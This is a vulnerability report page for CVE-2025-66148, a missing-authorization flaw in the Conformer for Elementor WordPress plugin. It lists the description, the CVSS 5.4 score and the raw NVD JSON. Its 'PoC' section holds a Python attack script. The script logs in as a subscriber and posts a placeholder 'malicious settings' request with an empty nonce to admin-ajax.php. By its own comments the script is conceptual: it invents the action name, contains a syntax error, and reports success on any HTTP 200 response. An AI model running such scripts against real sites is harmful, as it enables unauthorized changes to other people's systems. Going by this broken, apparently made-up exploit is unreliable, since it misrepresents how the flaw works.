Security Vulnerability Report
中文
CVE-2025-66148 CVSS 5.4 MEDIUM

CVE-2025-66148

Published: 2025-12-31 20:15:43
Last Modified: 2026-04-23 15:35:28

Description

Missing Authorization vulnerability in merkulove Conformer for Elementor conformer-elementor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Conformer for Elementor: from n/a through <= 1.0.7.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Conformer for Elementor <= 1.0.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66148 PoC - Conformer for Elementor Missing Authorization # This PoC demonstrates the access control bypass in Conformer for Elementor plugin import requests import sys from urllib.parse import urljoin def exploit_cve_2025_66148(target_url, username, password): """ Exploit for Missing Authorization vulnerability in Conformer for Elementor <= 1.0.7 Target: WordPress site with vulnerable Conformer for Elementor plugin installed """ # Setup session session = requests.Session() # WordPress login endpoint login_url = urljoin(target_url, '/wp-login.php') # Login credentials for low-privilege user (subscriber role) login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f'[*] Attempting to login as {username}...') try: # Perform login response = session.post(login_url, data=login_data, timeout=10) if 'wordpress_logged_in' in str(session.cookies) or response.status_code == 200: print('[+] Login successful!') # Target vulnerable endpoint (example - actual endpoint may vary) # This is a conceptual PoC - actual exploitation requires identifying # the specific unprotected function in the plugin vulnerable_endpoints = [ '/wp-admin/admin-ajax.php', '/wp-admin/admin.php?page=conformer_settings', '/wp-content/plugins/conformer-elementor/includes/'+ ] # Example malicious request to trigger unauthorized action exploit_data = { 'action': 'conformer_elementor_unauthorized_action', 'nonce': '', # Missing or bypassable nonce check 'settings': 'malicious_settings_payload' } print('[*] Sending exploit request...') exploit_response = session.post( urljoin(target_url, vulnerable_endpoints[0]), data=exploit_data, timeout=10 ) if exploit_response.status_code == 200: print('[+] Exploit sent - unauthorized action may have been executed') print(f'[*] Response: {exploit_response.text[:200]}') else: print(f'[-] Request failed with status: {exploit_response.status_code}') else: print('[-] Login failed - check credentials') return False except requests.exceptions.RequestException as e: print(f'[-] Connection error: {e}') return False return True if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python cve_2025_66148_poc.py <target_url> <username> <password>') print('Example: python cve_2025_66148_poc.py http://target.com subscriber password123') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_66148(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66148", "sourceIdentifier": "[email protected]", "published": "2025-12-31T20:15:43.480", "lastModified": "2026-04-23T15:35:27.887", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in merkulove Conformer for Elementor conformer-elementor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Conformer for Elementor: from n/a through <= 1.0.7."}, {"lang": "es", "value": "Vulnerabilidad de Autorización faltante en merkulove Conformer para Elementor permite la explotación de Niveles de Seguridad de Control de Acceso configurados incorrectamente. Este problema afecta a Conformer para Elementor: desde n/d hasta 1.0.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/conformer-elementor/vulnerability/wordpress-conformer-for-elementor-plugin-1-0-7-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}